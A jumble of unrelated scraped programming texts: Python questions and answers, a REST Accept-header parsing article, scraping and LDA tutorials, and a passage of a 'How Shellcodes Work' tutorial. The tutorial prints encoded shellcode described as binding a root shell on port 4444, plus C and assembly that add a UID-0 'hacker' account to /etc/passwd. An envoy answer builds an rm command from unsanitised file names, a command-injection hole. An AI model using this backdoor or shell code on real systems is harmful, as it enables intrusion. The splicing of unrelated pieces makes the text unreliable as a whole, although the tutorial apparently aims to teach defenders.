Traceback (most recent call last): File "", line 1, in File "honsapp/own3dStreamsUpdater.py", line 53, in updateStreamInfo streamInfo = getStreamInfo(stream) File "honsapp/own3d.py", line 98, in getStreamInfo connection = urllib2.urlopen(request, timeout=10) File "/usr/local/lib/python2.7/urllib2.py", line 126, in urlopen return _opener.open(url, data, timeout) File "/usr/local/lib/python2.7/urllib2.py", line 394, in open response = self._open(req, data) File "/usr/local/lib/python2.7/urllib2.py", line 412, in _open '_open', req) File "/usr/local/lib/python2.7/urllib2.py", line 372, in _call_chain result = func(*args) File "/usr/local/lib/python2.7/urllib2.py", line 1199, in http_open return self.do_open(httplib.HTTPConnection, req) File "/usr/local/lib/python2.7/urllib2.py", line 1170, in do_open r = h.getresponse(buffering=True) File "/usr/local/lib/python2.7/httplib.py", line 1027, in getresponse response.begin() File "/usr/local/lib/python2.7/httplib.py", line 407, in begin version, status, reason = self._read_status() File "/usr/local/lib/python2.7/httplib.py", line 365, in _read_status line = self.fp.readline() File "/usr/local/lib/python2.7/socket.py", line 447, in readline data = self._sock.recv(self._rbufsize) KeyboardInterrupt
Edit
I let my script run over night. I don't know exactly how long it took (Though more than five minutes) but the script finally gave up and gave me a stacktrace:
Traceback (most recent call last): File "honsapp/own3dStreamsUpdater.py", line 260, in newInfo() File "honsapp/own3dStreamsUpdater.py", line 172, in newInfo result = updateStreamInfo(stream) File "honsapp/own3dStreamsUpdater.py", line 53, in updateStreamInfo streamInfo = getStreamInfo(stream) File "/root/Dropbox/Projects/honstreams/honsapp/own3d.py", line 98, in getStreamInfo connection = urllib2.urlopen(request, timeout=10) File "/usr/local/lib/python2.7/urllib2.py", line 126, in urlopen return _opener.open(url, data, timeout) File "/usr/local/lib/python2.7/urllib2.py", line 394, in open response = self._open(req, data) File "/usr/local/lib/python2.7/urllib2.py", line 412, in _open '_open', req) File "/usr/local/lib/python2.7/urllib2.py", line 372, in _call_chain result = func(*args) File "/usr/local/lib/python2.7/urllib2.py", line 1199, in http_open return self.do_open(httplib.HTTPConnection, req) File "/usr/local/lib/python2.7/urllib2.py", line 1170, in do_open r = h.getresponse(buffering=True) File "/usr/local/lib/python2.7/httplib.py", line 1027, in getresponse response.begin() File "/usr/local/lib/python2.7/httplib.py", line 407, in begin version, status, reason = self._read_status() File "/usr/local/lib/python2.7/httplib.py", line 371, in _read_status raise BadStatusLine(line) httplib.BadStatusLine: '' |
Sometimes contact information is incomplete but can be inferred from existing data. Gender is often missing from data but easy to determine based on first name.
One solution is to check names against existing data. A query can be run against correctly know valid name/gender pairs and the gender with the most occurrences of that name wins.
But what about new names and alternate spellings?
It turns out that there are features that are indicative of one gender or another. For example, it is more likely that a name ending in ‘a’ is female rather than male. There are also other patterns such as the last two letters of a name.
We could write a series of heuristics to make a determination but that does not seem like a scalable idea. I’d like to be able to apply this approach to other languages and not have to learn the ins and outs of each.
What we need to do is figure out which features indicate which gender and how strongly they do so.
I think ML tends to scare a lot of people. When I’m recommending a ML solution to someone, I tend to call it a statistical approach to the problem. So I’m going to call this solution a statistical approach.
What we are doing is classifying the data into one of two categories, male or female. For this I chose one of my favourite classifiers, Naive Bayes. I’m a fan of Naive Bayes because it’s basis is simple to understand and preforms decently well (in my experience).
I’m a big fan of the NLTK’s (Natural Language Toolkit) easy interface to classifiers such as Naive Bayes and it’s what I used for this project.
First, we’re going to need some data to train the classifier on to see which features indicate which gender and how much we can trust the feature. I grabbed training data from the US Census website and wrote an importer module for it in Python.
Second, we need a feature extractor to take a name and spit out features we think may indicate the gender well. I wrote a simple extractor that takes the last and last two letters and spits them out as a feature as well as if the last letter is a vowel:
def _nameFeatures(self,name): name=name.upper() return { 'last_letter': name[-1], 'last_two' : name[-2:], 'last_is_vowel' : (name[-1] in 'aeiouy') }
Third, we need to test the classifier. We need to be sure that we separate the training data set from the test data set. If we just wanted to do a lookup, a hash table would be much more efficient. We’re interested in the classifier’s ability to determine the gender based on names it has not encountered before. So we randomly shuffle the data and split. I chose to split 80% for training and 20% for testing but that’s something you can play with.
Fourth, we need to learn which features matter. The NLTK provides a nice method which will tell us which features were most useful in determining the gender. This way we can concentrate on features that really matter.
I’ve done a lot of the wrapper work for you and put it up on github.Checkout the gender prediction code here. If you run genderPredictor.py it will automatically train and test the genderPredictor module.You can also import genderPredictor into your own code and run the methods manually.
The most useful method to use within your own code is classify(name) which takes a name and spits out the gender.
You can modify _nameFeatures to play around and test other feature ideas.If you find something that works better, please let me know and I’ll incorporate your idea and give you credit.
Hope this is useful and interesting; let me know what you think. |
I try to use Python envoy for better access to Shell programs. But i have a problem that i want to delete all items of a folder, but envoy can't handle my varaible:
import envoy
import os
# Check for a empty folder.
if len(os.listdir(csv_save_path)) != 0:
for item in os.listdir(csv_save_path):
result = envoy.run('rm -v',item)
print result.std_out
print result.std_err
Output:
"rm: missing operand\nTry `rm --help' for more information.\n"
I don't want use subprocces. Anyone a idea what is wrong?
Edit:
Thank for your quick response. Now i get this error message:
Exception in thread Thread-4:
Traceback (most recent call last):
File "/usr/lib64/python2.7/threading.py", line 552, in __bootstrap_inner
self.run()
File "/usr/lib64/python2.7/threading.py", line 505, in run
self.__target(*self.__args, **self.__kwargs)
File "/usr/lib64/python2.7/site-packages/envoy/core.py", line 40, in target
bufsize=0,
File "/usr/lib64/python2.7/subprocess.py", line 679, in __init__
errread, errwrite)
File "/usr/lib64/python2.7/subprocess.py", line 1228, in _execute_child
raise child_exception
OSError: [Errno 2] No such file or directory
*** AttributeError: 'NoneType' object has no attribute 'returncode'
But i check on the path of the file, with and without path, it's failing.
Edit: The Solution is to use %s to get the item to the right place.
import envoy
import os
# Check for a empty folder.
if len(os.listdir(csv_save_path)) != 0:
for item in os.listdir(csv_save_path):
result = envoy.run('rm -v %s' % item)
print result.std_out
print result.std_err
so far |
In three of my four Restful Web columns, I've been describing the design of a REST web service for creating and managing web bookmarks. It's now time to get down to some coding. The major part of creating such a service is implementing the method of dispatching: how does an incoming HTTP request get routed to the right piece of code?
As a quick recap, here is the table summarizing the resources in our bookmark service. You will notice that the second column, Representations, now lists the media types of the representations we will accept at each of our resources. For now we'll assume that application/xbel+xml is a valid media type, even though it is not, in fact, registered. IANA maintains a list of the registered media types. If it's not on that list, it's not really a valid type. If you want to officially register a media type, the IANA has a web page for doing so.
For the simple format that we are using as the representation of [user]/config, we will use the media type application/xml. See RFC 3023 and Mark Pilgrim's XML.com article XML on the Web Has Failed to learn why we don't use text/xml.
URI
Representations
Description
[user]/bookmark/[id]/
application/xbel+xml
A single bookmark for "user"
[user]/bookmarks/
application/xbel+xml
The 20 most recent bookmarks for "user"
[user]/bookmarks/all/
application/xbel+xml
All the bookmarks for "user"
[user]/bookmarks/tags/[tag]
application/xbel+xml
The 20 most recent bookmarks for "user" that were filed in the category "tag"
[user]/bookmarks/date/[Y]/[M]/
application/xbel+xml
All the bookmarks for "user" that were created in a certain year [Y] or month [M]
[user]/config/
application/xml
A list of all the "tags" a user has ever used
MIME or Media?
The first confusion to get out of the way is MIME versus media. In many discussions of HTTP you will see reference to both MIME types and media types. What's the difference? MIME stands for Multipurpose Internet Mail Extensions, which are extensions to RFC 822 that allow the transporting of something besides plain ASCII text. If you are going to allow other stuff--that is, other media besides plain text--then you will need to know what type of media it is. Thus RFC 2054 gave birth to MIME Media-Types. They have spread beyond mail messages--that is, beyond MIME--and that includes HTTP. The list of types is used by both MIME and HTTP, but that doesn't mean the HTTP entities are valid RFC 2045 entities--in fact, they aren't.
So where does that leave us? MIME Media-Type is rather awkward, so it's often shortened to MIME type or media type. For our purposes here, they are the same thing.
Where Did He Go?
One of the benefits of using HTTP correctly is that we can dispatch on a whole range of things. To make the discussion more concrete, let's look at an example HTTP request:
GET / HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (...) Gecko/20050511 Firefox/1.0.4
Accept: text/xml, application/xml, application/xhtml+xml, text/html;q=0.9,
text/plain;q=0.8, image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
There are three items of interest here. First, the HTTP request method is GET. Second, the URI is carried in two locations. The path and query parameters are on the first line of the request. The remainder of the URI, the domain name of the server, is carried in the Host header. Third, the media type is carried in the Accept header because this is a GET request. For other POST or PUT requests, the Content-Type header in the request carries the media type of the entity body.
When requests come into our service, we can route them based on the URI, the method, and the media type. We'll return to dispatching on the URI and the HTTP method later. The media type is what we are concentrating on right now. It turns out that dispatching on media types isn't as simple as it sounds. It's not really that complicated--we'll be doing it by the end of this article--but it's not trivial either.
Method Header
GET
Accept
HEAD
Accept
PUT
Content-Type
POST
Content-Type
DELETE
n/a
If an entity is involved in the request--that is, a POST or PUT, then the media type is contained in the Content-Type header. If the request is a HEAD or GET, then a list of acceptable media types for the response is given in the Accept header. That's actually not true, but I'll discuss the falseness of that claim below. First, let's look at the Content-Type header. Here is the definition straight from the HTTP specification (RFC 2616):
Content-Type = "Content-Type" ":" media-type
media-type = type "/" subtype *( ";" parameter )
parameter = attribute "=" value
attribute = token
value = token | quoted-string
quoted-string = ( <"> *(qdtext | quoted-pair ) <"> )
qdtext = <any TEXT except <">>
quoted-pair = "\" CHAR
type = token
subtype = token
token = 1*<any CHAR except CTLs or separators>
separators = "(" | ")" | "<" | ">" | "@"
| "," | ";" | ":" | "\" | <">
| "/" | "[" | "]" | "?" | "="
| "{" | "}" | SP | HT
CTL = <any US-ASCII ctl chr (0-31) and DEL (127)>
I've gathered up all the pertinent pieces, but really the thing we'll be using the most is the definition of media-type. That definition states that a media type contains a type, subtype, and parameter, which are separated by "/" and ";" characters, respectively. We can decompose a media-type into its component parts using Python code like this:
(mime_type, parameter) = media_type.split(";"); (type, subtype) = mime_type.split("/")
I said the Accept header contained a list of all of the media types that the client was able to, well, accept. That isn't quite true. Accept is a little more complicated, allowing the client to list multiple media ranges. A media range is different from a media type: a media range can use wildcards (*) for the type and subtype and can have multiple parameters. One of the parameters that can be used is q, which is a quality indicator. It has a value, from 0.0 to 1.0, that indicates the client's preference for that media type. The higher the quality indicator value, the more preferred the media type is. For example, application/xbel+xml could match application/xbel+xml, application/*, or */*.
Microsoft's Internet Explorer browser typically uses the following Accept header: Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*, while Mozilla Firefox typically uses Accept: text/xml, application/xml, application/xhtml+xml, text/html;q=0.9, text/plain;q=0.8, image/png,*/*;q=0.5.
One thing that makes our lives a little easier is that mime-type, as defined for the Content-Type header, is also a valid media range for an Accept header. So we only have to parse strings defined by mime-type. If we do that well, then we will be able to parse Accept headers without much additional work.
Our first function is parse_mime_type:
def parse_mime_type(mime_type):
parts = mime_type.split(";")
params = dict([tuple([s.strip() for s in param.split("=")])
for param in parts[1:] ])
(type, subtype) = parts[0].split("/")
return (type.strip(), subtype.strip(), params)
Let's follow the code by watching how a media range would be dissected. If our media range is application/xhtml+xml;q=0.5, then
parts = ["application/xhtml+xml", "q=0.5"]
params = {"q": "0.5"}
(type, subtype) = ("application", "xhtml+xml")
and the function returns the tuple ("application", "xhtml+xml", {"q": "0.5"}).
Now remember that the difference between a MIME type and a media range is the presence of wildcards and the q parameter. Our parse_mime_type function doesn't actually care about wildcards and will happily parse them. All that's left is to ensure that the q quality parameter is set, using a default value of 1 if none is given.
def parse_media_range(range):
(type, subtype, params) = parse_mime_type(range)
if not params.has_key('q') or not params['q'] or \
not float(params['q']) or float(params['q']) > 1 \
or float(params['q']) < 0:
params['q'] = '1'
return (type, subtype, params)
So we can parse media ranges, and now we need to compare a target media type against a list of media ranges. That is, if we know our application supports image/jpeg, and we get a request that contains an Accept header--image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*--will the client be able to accept a response with a MIME type image/jpeg? And what is the quality value associated with that type?
This is where things get a little tricky. Here are the rules for how to match a media type to a list of media ranges, which are distilled from Section 14.1 of RFC 2616:
More specific media ranges have precedence. application/foo;key=valuehas a higher precedence thanapplication/foo,which has a higher precedence thanapplication/*,which in turn has a high precedence than*/*.
Once a match is found, the qparameter for that media range is applied.
Once we have this match function working, then matching up the media types we accept is easy: just pass each one to the match function; the one that comes out with the highest q value is the winner and, therefore, the MIME type of the representation we are going to return. I like to turn these kinds of comparisons into math problems. (It's the kind of thing I do.) To find the most specific match, we'll score a media range in the following way:
If a media range matches the "type," it scores 100 points.
If a media range matches the "subtype," it scores an additional 10 points.
If a media range matches in the parameters, it scores 1 point for each parameter.
Now we just score each media range, and the one with the highest score is the best match. We return the q parameter of the best match.
def quality_parsed(mime_type, parsed_ranges):
"""Find the best match for a given mime_type against a list of
media_ranges that have already been parsed by
parse_media_range(). Returns the 'q' quality parameter of the
best match, 0 if no match was found. This function bahaves the
same as quality() except that 'parsed_ranges' must be a list of
parsed media ranges."""
best_fitness = -1; best_match = ""; best_fit_q = 0
(target_type, target_subtype, target_params) = parse_media_range(mime_type)
for (type, subtype, params) in parsed_ranges:
param_matches = sum([1 for (key, value) in \
target_params.iteritems() if key != 'q' and \
params.has_key(key) and value == params[key]])
if (type == target_type or type == '*')
and (subtype == target_subtype or subtype == "*"):
fitness = (type == target_type) and 100 or 0
fitness += (subtype == target_subtype) and 10 or 0
fitness += param_matches
if fitness > best_fitness:
best_fitness = fitness
best_fit_q = params['q']
return float(best_fit_q)
The best_match function , which ties all of this together, takes the list of MIME types that we support and the value of the Accept: header and returns the best match.
def best_match(supported, header):
"""Takes a list of supported mime-types and finds the best match
for all the media-ranges listed in header. The value of header
must be a string that conforms to the format of the HTTP Accept:
header. The value of 'supported' is a list of mime-types.
>>> best_match(['application/xbel+xml', 'text/xml'],\
'text/*;q=0.5,*/*; q=0.1')
'text/xml' """
parsed_header = [parse_media_range(r) for r in header.split(",")]
weighted_matches = [(quality_parsed(mime_type, parsed_header), mime_type)
for mime_type in supported]
weighted_matches.sort()
return weighted_matches[-1][0] and weighted_matches[-1][1] or ''
The full Python module, which includes comments and unit tests, is available from bitworking.org.
So now let's loop back to where we started. When we receive an HTTP request, part of our dispatching is going to depend on the media type. The header we need to look at depends on the type of the request or response. Using our newly created module, we can parse both the Content-Type and Accept headers. In the next column we'll jump into the meat of dispatching our incoming requests.
Quoting issues
2006-05-12 17:33:48
> We can decompose a media-type into its component parts using Python code like this:
> (mime_type, parameter) = media_type.split(";"); (type, subtype) = mime_type.split("/")
No, you can't. Parameters may include quoted strings as values, and quoted strings may include separators such as ';', ',', and '/', as well as backslash-escaped characters including escaped quotes "\"".
Quoting issues
2006-11-01 23:07:55
Personally, I can see the appeal in deliberately failing to parse those requests properly, just to discourage it. I'm for standards as much as the next guy, but if the difference between 99% and 100% compliance is five hours work and a parsing routine that's an order of magnitude more complex, well...
It's like those people who produce hideous but technically well-formed RFC2822 addresses and expect the rest of us to deal with them. It's the sort of idiocy that leads to the "short" email-matching regular expression in Friedl's book needing 4724 characters, and even then it doesn't cover every case.
Quoting issues
2006-06-08 02:49:41
Use the csv module to do the splitting - it takes care of quoting.
2005-06-10 06:22:09
Thanks Joe for this great article. I think you are covering here the real substance of REST: it's flexible ability to negociate resource representations. Great work! Jerome |
Simmilar question (related with Python2: Python: check if method is static)
Lets concider following class definition:
class A:
def f(self):
return 'this is f'
@staticmethod
def g():
return 'this is g'
In Python 3 there is no instancemethod anymore, everything is function, so the answer related to Python 2 will not work anymore.
As I told, everything is function, so we can call A.f(0), but of course we cannot call A.f() (argument missmatch). But if we make an instance a=A() and we call a.f() Python passes to the function A.f the self as first argument. Calling a.g() prevents from sending it or captures the self - so there have to be a way to test if this is staticmethod or not.
So can we check in Python3 if a method was declared as static or not? |
How Shellcodes Work
by Peter Mikhalenko
05/18/2006
It's not an easy task to find a vulnerable service and find an exploit for it. It's also not easy to defend against users who might want to exploit your system, if you are a system administrator. However, writing an exploit by yourself, to convert a news line from bug tracker into a working lockpick, is much more difficult. This article is not a guide on writing exploits, nor an overview of popular vulnerabilities. This is a step-by-step guide on developing a shellcode, a crucial point of any exploit software. Hopefully, learning how they work will help conscientious and respectable developers and system administrators to understand how malefactors think and to defend their systems against them.
How an Exploit Works
Take any exploit downloaded from the internet that promises you an easy root shell on a remote machine, and examine its source code. Find the most unintelligible piece of the code; it will be there, for sure. Most probably, you will find a several lines of strange and unrelated symbols; something like this:
char shellcode[] =
"\x33\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8a"
"\xd4\xf2\xe7\x83\xeb\xfc\xe2\xf4\xbb\x0f\xa1\xa4\xd9\xbe\xf0\x8d"
"\xec\x8c\x6b\x6e\x6b\x19\x72\x71\xc9\x86\x94\x8f\x9b\x88\x94\xb4"
"\x03\x35\x98\x81\xd2\x84\xa3\xb1\x03\x35\x3f\x67\x3a\xb2\x23\x04"
"\x47\x54\xa0\xb5\xdc\x97\x7b\x06\x3a\xb2\x3f\x67\x19\xbe\xf0\xbe"
"\x3a\xeb\x3f\x67\xc3\xad\x0b\x57\x81\x86\x9a\xc8\xa5\xa7\x9a\x8f"
"\xa5\xb6\x9b\x89\x03\x37\xa0\xb4\x03\x35\x3f\x67";
This is shellcode, also sometimes referred to as "bytecode." Its content is not a magic word or random symbols. This is a set of low-level machine commands, the same as are in an executable file. This example shellcode opens port 4444 on a local Linux box and ties a Bourne shell to it with root privileges. With a shellcode, you can also reboot a system, send a file to an email, etc. The main task for an exploit program is therefore to make this shellcode work.
Take, for example, a widely known error-buffer overflow. Developers often check data that has been received as input for functions. A simple example: the developer creates a dynamic array, allocates for it 100 bytes, and does not control the real number of elements. All elements that are out of the bounds of this array will be put into a stack, and a so-called buffer overflow will occur. An exploit's task is to overflow a buffer and, after that, change the return address of system execution to the address of the shellcode. If a shellcode can get control, it will be executed. It's pretty simple.
As I already said, this article is not a guide for writing exploits. There are many repositories with existing shellcodes (shellcode.org, Metasploit); however, it is not always enough. A shellcode is a low-level sequence of machine commands closely tied to a dedicated processor architecture and operating system. This is why understanding how it works can help prevent intrusions into your environment.
What Is It For?
To follow along, I expect you to have at least minimal assembly knowledge. As a platform for experiments, I chose Linux with a 32-bit x86 processor. Most exploits are intended for Unix services; therefore, they are of most interest. You need several additional tools: Netwide Assembler (nasm), ndisasm, and hexdump. Most Linux distributions include these by default.
The Process of Building
Shellcode stubs are usually written in assembler; however, it is easier to explain how one works by building it in C and then rewriting the same code in assembly. This is C code for appending a user into /etc/passwd:
#include <stdio.h>
#include <fcntl.h>
main() {
char *filename = "/etc/passwd";
char *line = "hacker:x:0:0::/:/bin/sh\n";
int f_open;
f_open = open(filename,O_WRONLY|O_APPEND);
write(f_open, line, strlen(line));
close(f_open);
exit(0);
}
All of the code is pretty simple, except maybe the open() function. The constant O_WRONLY|O_APPEND given as a parameter opens the file fact for writing and appends the new data to the end of the file.
Here is a more usable example: executing a Bourne shell:
#include <stdio.h>
main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
setreuid(0, 0);
execve(name[0],name, NULL);
}
The setreuid(0,0) call attempts to obtain root privileges (if it is possible). execve(const char filename,const char[] argv, const char[] envp) is a main system call that executes any binary file or script. It has three parameters: filename is a full path to an executable file, argv[] is an array of arguments, and envp[] is an array of strings in the format . Both arrays must end with a key=valueNULL element.
Now consider how to rewrite the C code given in the first example in assembly. x86 assembly executes system calls with help of a special system interrupt that reads the number of the function from the EAX register and then executes the corresponding function. The function codes are in the file /usr/include/asm/unistd.h. For example, a line in this file, #define __NR_ open 5, means that the function open() has the identification number 5. In a similar way, you can find all other function codes: exit() is 1, close() is 6, setreuid() is 70, and execve() is 11. This knowledge is enough to write a simple working application. The /etc/passwd amendment application code in assembly is:
section .data
filename db '/etc/passwd', 0
line db 'hacker:x:0:0::/:/bin/sh',0x0a
section .text
global _start
_start:
; open(filename,O_WRONLY|O_APPEND)
mov eax, 5
mov ebx, filename
mov ecx, 1025
int 0x80
mov ebx, eax
; write(f_open, line, 24)
mov eax, 4
mov ecx, line
mov edx, 24
int 0x80
; close(f_open)
mov eax, 6
int 0x80
; exit(0)
mov eax, 1
mov ebx, 0
int 0x80
It's a well-known fact that an assembly program consists of three segments: the data segment, which contains variables; the code segment containing code instructions; and a stack segment, which provides a special memory area for storing data. This example uses only data and code segments. The operators section .data and section .text mark their beginnings. A data segment contains the declaration of two char variables: name and line, consisting of a set of bytes (see the db mark in the definition).
The code segment starts from a declaration of an entry point, global _start. This tells the system that the application code starts at the _start label.
The next steps are easy; to call open(), set the EAX register to the appropriate function code: 5. After that, pass parameters for the function. The most simple way of passing parameters is to use the registers EBX, ECX, and EDX. EBX gets the first function parameter, the address of the beginning of the filename string variable, which contains a full path to a file and a finishing zero char (most system functions operating with strings demand a trailing null). The ECX register gets the second parameter, giving information about file open mode (a constant O_WRONLY|O_APPEND in a numeric format). With all of the parameters set, the code calls interrupt 0x80. It will read the function code from EAX and calls an appropriate function. After completing the call, the application will continue, calling write(), close(), and exit() in exactly the same way. |
I want to give my app the ability to post as my own page (and app separately) and am trying to work out how best to programatically get a suitable access token. I have the following code embedded in a view, and it works, but depends on an access token I'm manually inserting for now.
event = Event.objects.get(pk=1)
try:
graph = GraphAPI(access_token)
graph.post(
path = '/42636472/events',
name = event.name,
location = event.location,
start_time = '2012-11-04T19:00:00-0700',
)
print event.date
except GraphAPI.OAuthError, e:
print e.message
This update from Facebook suggests that hard-coding access tokens in is unsustainable and will require regular attention: https://developers.facebook.com/roadmap/offline-access-removal/
What are people doing in this situation, to have an app update a page belonging to the app's organisation, or just getting access_tokens giving page manage access without having anyone logging in? |
Is there a way to generate random letters in Python (like random.randint but for letters)? The range functionality of random.randint would be nice but having a generator that just outputs a random letter would be better than nothing.
Simple:
>>> import string
>>> string.letters
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
>>> import random
>>> random.choice(string.letters)
'j'
>>> import random
>>> import string
>>> random.choice(string.ascii_letters)
'g'
>>> import random
>>> import string
>>> random.choice(string.ascii_lowercase)
'b'
>>>def random_char(y):
return ''.join(random.choice(string.ascii_letters) for x in range(y))
>>>print (random_char(5))
>>>fxkea
to generate y number of random characters
Another way, for completeness:
>>> chr(random.randrange(97, 97 + 26 + 1))
Use the fact that
def randchar(a, b):
return chr(random.randint(ord(a), ord(b)))
This maybe cant help you.
for a in range(64,90):
h = random.randint(64, a)
e += chr(h)
print e
Place a python on the keyboard and let him roll over the letters until you find your preferd random combo Just kidding!
import string #This was a design above but failed to print. I remodled it.
import random
irandom = random.choice(string.ascii_letters)
print irandom
|
I want to post a file to a server via python, for this I need to name this file as "xmlfile" so that server recognizes the input.
import urllib2
url = "http://somedomain"
to_send = open('test.xml').read()
data = {}
data['xmlfile'] = to_send
f = urllib2.urlopen(url, data)
This doesn't work, in addition, how can I retrieve the response and save someplace ?
In other words, I want to do the action as I do with Curl:
curl.exe http://somedomain -F [email protected] -o response.html |
If you visit DuckDuck Go API Page, you will find some notes about using the API. The first notes says clearly that:
As this is a Zero-click Info API, most deep queries (non topic names)
will be blank.
An here's the list of those fields:
Abstract: ""
AbstractText: ""
AbstractSource: ""
AbstractURL: ""
Image: ""
Heading: ""
Answer: ""
Redirect: ""
AnswerType: ""
Definition: ""
DefinitionSource: ""
DefinitionURL: ""
RelatedTopics: [ ]
Results: [ ]
Type: ""
So it might be a pity, but their API just truncates a bunch of results and does not give them to you; possibly to work faster, and seems like nothing can be done except using DuckDuckGo.com.
So, obviously, in that case API is not the way to go.
As for me, I see only one way out left: retrieving raw html from duckduckgo.com and parsing it using, e.g. html5lib (it worth to mention that their html is well-structured).
It also worth to mention that parsing html pages is not the most reliable way to scrap data, because html structure can change, while API usually stays stable until changes are publicly announced.
Here's and example of how can be such parsing achieved with BeautifulSoup:
from BeautifulSoup import BeautifulSoup
import urllib
import re
site = urllib.urlopen('http://duckduckgo.com/?q=example')
data = site.read()
parsed = BeautifulSoup(data)
topics = parsed.findAll('div', {'id': 'zero_click_topics'})[0]
results = topics.findAll('div', {'class': re.compile('results_*')})
print results[0].text
This script prints:
u'Eixample, an inner suburb of Barcelona with distinctive architecture'
The problem of direct querying on the main page is that it uses JavaScript to produce required results (not related topics), so you can use HTML version to get results only. HTML version has different link:
Let's see what we can get:
site = urllib.urlopen('http://duckduckgo.com/html/?q=example')
data = site.read()
parsed = BeautifulSoup(data)
first_link = parsed.findAll('div', {'class': re.compile('links_main*')})[0].a['href']
The result stored in first_link variable is a link to the first result (not a related search) that search engine outputs:
http://www.iana.org/domains/example
To get all the links you can iterate over found tags (other data except links can be received similar way)
for i in parsed.findAll('div', {'class': re.compile('links_main*')}):
print i.a['href']
http://www.iana.org/domains/example
https://twitter.com/example
https://www.facebook.com/leadingbyexample
http://www.trythisforexample.com/
http://www.myspace.com/leadingbyexample?_escaped_fragment_=
https://www.youtube.com/watch?v=CLXt3yh2g0s
https://en.wikipedia.org/wiki/Example_(musician)
http://www.merriam-webster.com/dictionary/example
...
Note that HTML-only version contains only results, and for related search you must use JavaScript version. (vithout html part in url). |
Hey everyone,
I hope you've had a chance to take a look at the WordPress competition! It's a really neat problem, asking you to predict which blog posts people have liked based on which posts they've liked in the past, and carries a $20,000 purse. I've literally lost sleep over this.
The WordPress data is a little bit tricky to work with, however, so to help you get up and running, in this tutorial I'll show and explain the python code I used to make the "favorite blogs + LDA" benchmark. Feel free to use the code as a starting point for your own submissions! The major code snippets used in this tutorial are excerpted and slightly modified from code available here.
There are two main challenges of working with the WordPress data set. First of all, the data files are very large, totaling 6.1 GB uncompressed. Unless you have exceptional hardware at your disposal, you'll need to be careful to choose an algorithm that is both computationally feasible and memory-friendly. The code I'll show you below was run on one core of my laptop over about 6 hours.
The second challenge is that the blog posts you're given have very few features you can immediately use in a model. Aside from these few features, (like the blog the post comes from, its author, or when it was posted), you'll need to generate the rest of them yourself, a natural language processing (NLP) problem. The code I'll show uses a Latent Dirichlet Allocation (LDA) model to estimate which "topics" a post is about.
The decisions I've made in my benchmark code were guided by these two considerations. Before getting into the details, I'll describe what the benchmark code does. In broad outline, the benchmark code estimates which posts a user will like by first considering posts from blogs they have liked before. Since there are usually more than 100 such posts, (and we are required to recommend 100 posts), we choose the 100 that are semantically the most similar to the posts the user has liked before and come from the blogs the user has liked the most.
And now for the details: First of all, since the posts are given to us in json, and the post content is given in html, we need some functions for parsing these formats. I found a nice html-stripper here:
from HTMLParser import HTMLParser
# Tools for stripping html
class MLStripper(HTMLParser):
def __init__(self):
self.reset()
self.fed = []
def handle_data(self, d):
self.fed.append(d)
def get_data(self):
return ''.join(self.fed)
def strip_tags(html):
s = MLStripper()
s.feed(html)
return s.get_data()
You can use the html stripper like this:
>>> strip_tags(' <h1>foo <a href="www.bar.com">baz</a></h1> ')
'foo baz'
Python comes pre-equipped with a great json parser, which is as easy to use as:
>>> import json
>>> f = open("kaggle-stats-blogs-20111123-20120423.json")
>>> json.loads(f.readline())
{u'blog_id': 4, u'num_likes': 781, u'num_posts': 204}
Having figured out how to parse our data formats, we turn our attention to the LDA. Briefly, Latent Dirichlet Allocation is an unsupervised semantics model that takes a corpus of documents--in this case, the blog posts--and estimates what "topics" they are about. A "topic" is a set of word frequencies, and a document is assumed to be composed of a mixture of topics. (Check out wikipedia for more detailed information). LDA often produces very intuitive results; in this case, for example, one of the topics was on the Trayvon Martin shooting, and another on Christianity.
I use the LDA implementation from the python gensim module. This implementation supports an "online" estimation of the topics, which means that we can feed the model chunks of blog posts at a time, (and don't need to load all of the posts into memory at once). To take advantage of online LDA, I build my own classes Files and Corp, which are used to iterate over posts, yielding the parsed content of thoses posts as a list of words:
from gensim import corpora
import string
# An object to read and parse files without
# loading them entirely into memory
class Files():
def __init__(self, files):
self.files = files
def __enter__(self):
return self
def __exit__(self, exc_type, exc_value, traceback):
self.close()
# Read only one line at a time from the
# text files, to be memory friendly
def __iter__(self):
for f in self.files:
# Reset the file pointer before a new iteration
f.seek(0)
for line in f:
post = json.loads(line)
content = post["content"]
doc_words = []
# parse and split the content up into
# a list of lower-case words
try:
doc_words = strip_tags(content).encode('ascii',
'ignore').translate(string.maketrans("",""),
string.punctuation).lower().split()
except: # Fails on some nasty unicode
doc_words = []
yield doc_words
def __len__(self):
n = 0
for f in self.files:
f.seek(0)
for line in f:
n += 1
return n
def close(self):
for f in self.files:
f.close()
# A helper class, for use in
# gensim's LDA implementation
class Corp():
def __init__(self, files, dic):
self.files = files
self.dic = dic
def __iter__(self):
for doc in self.files:
yield self.dic.doc2bow(doc)
def __len__(self):
return len(self.files)
Our final step before actually beginning to work on our data is to define some stop words, that is, words that are so common that they don't help us distinguish between topics. We will not consider these words when training the LDA model.
# These are words that will be removed from posts, due to their
# frequency and poor utility in distinguishing between topics
stop_words = ["a","able","about","across","after","all","almost",
"also","am","among","an","and","any","are","as","at","be","because",
"been","but","by","can","cannot","could","did","do","does","either",
"else","ever","every","for","from","get","got","had","has","have",
"he","her","hers","him","his","how","however","i","if","in","into",
"is","it","its","just","least","let","like","may","me","might","most",
"must","my","neither","no","nor","not","of","off","often","on","only",
"or","other","our","own","rather","said","say","says","she","should",
"since","so","some","than","that","the","their","them","then","there",
"these","they","this","to","too","us","wants","was","we","were",
"what","when","where","which","while","who","whom","why","will",
"with","would","yet","you","your"]
We will use our first pass over the data to generate the dictionary of "words" used in the blog posts. Because of imperfect parsing, some of these "words" are things like "www" that aren't truly words, but are nonetheless useful for determining what a blog post is about. At this point, the code begins to take a while to run, so we occasionally save our work and attempt to load it in the try/except blocks.
from __future__ import division
from collections import defaultdict
from Corp import stop_words, Files, Corp
from gensim import corpora, models, similarities
import logging
import json
import cPickle
import random
logging.basicConfig(format='%(asctime)s : %(levelname)s : %(message)s', level=logging.INFO)
